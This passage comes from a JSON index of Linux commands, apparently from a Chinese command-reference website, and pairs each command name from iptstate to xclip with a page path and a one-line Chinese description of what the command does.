ptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"iscsiadm":{"n":"iscsiadm","p":"/iscsiadm","d":"管理iSCSI连接"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modetest":{"n":"modetest","p":"/modetest","d":"DRM/KMS驱动程序libdrm中的模式测试工具"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mtr":{"n":"mtr","p":"/mtr","d":"`mtr` 结合了 `traceroute` 和 `ping` 程序的功能，是一款简单的网络诊断工具"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"nc是网络工具中的瑞士军刀"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"nstat":{"n":"nstat","p":"/nstat","d":"nstat 是一个简单的监视内核的 SNMP 计数器和网络接口状态的实用工具。"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"pacman":{"n":"pacman","p":"/pacman","d":"Arch Linux 系统及其衍生系统中默认使用的包管理器"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性(ipv4)"},"ping6":{"n":"ping6","p":"/ping6","d":"测试主机之间网络的连通性(ipv6)"},"pip":{"n":"pip","p":"/pip","d":"Python 编程语言中的包管理器，用于安装和管理第三方 Python 模块"},"pkexec":{"n":"pkexec","p":"/pkexec","d":"以其他用户身份执行命令"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"prtstat":{"n":"prtstat","p":"/prtstat","d":"显示进程信息"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwdx":{"n":"pwdx","p":"/pwdx","d":"用于显示指定进程的当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"reposync":{"n":"reposync","p":"/reposync","d":"同步yum存储库到本地目录"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"sha256sum":{"n":"sha256sum","p":"/sha256sum","d":"用于计算文件的 SHA-256 哈希值"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smartmontools":{"n":"smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"sshpass":{"n":"sshpass","p":"/sshpass","d":"免交互 SSH 登录工具。"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将保存在 PCAP 文件包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ufw":{"n":"ufw","p":"/ufw","d":" ubuntu防火墙管理工具"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 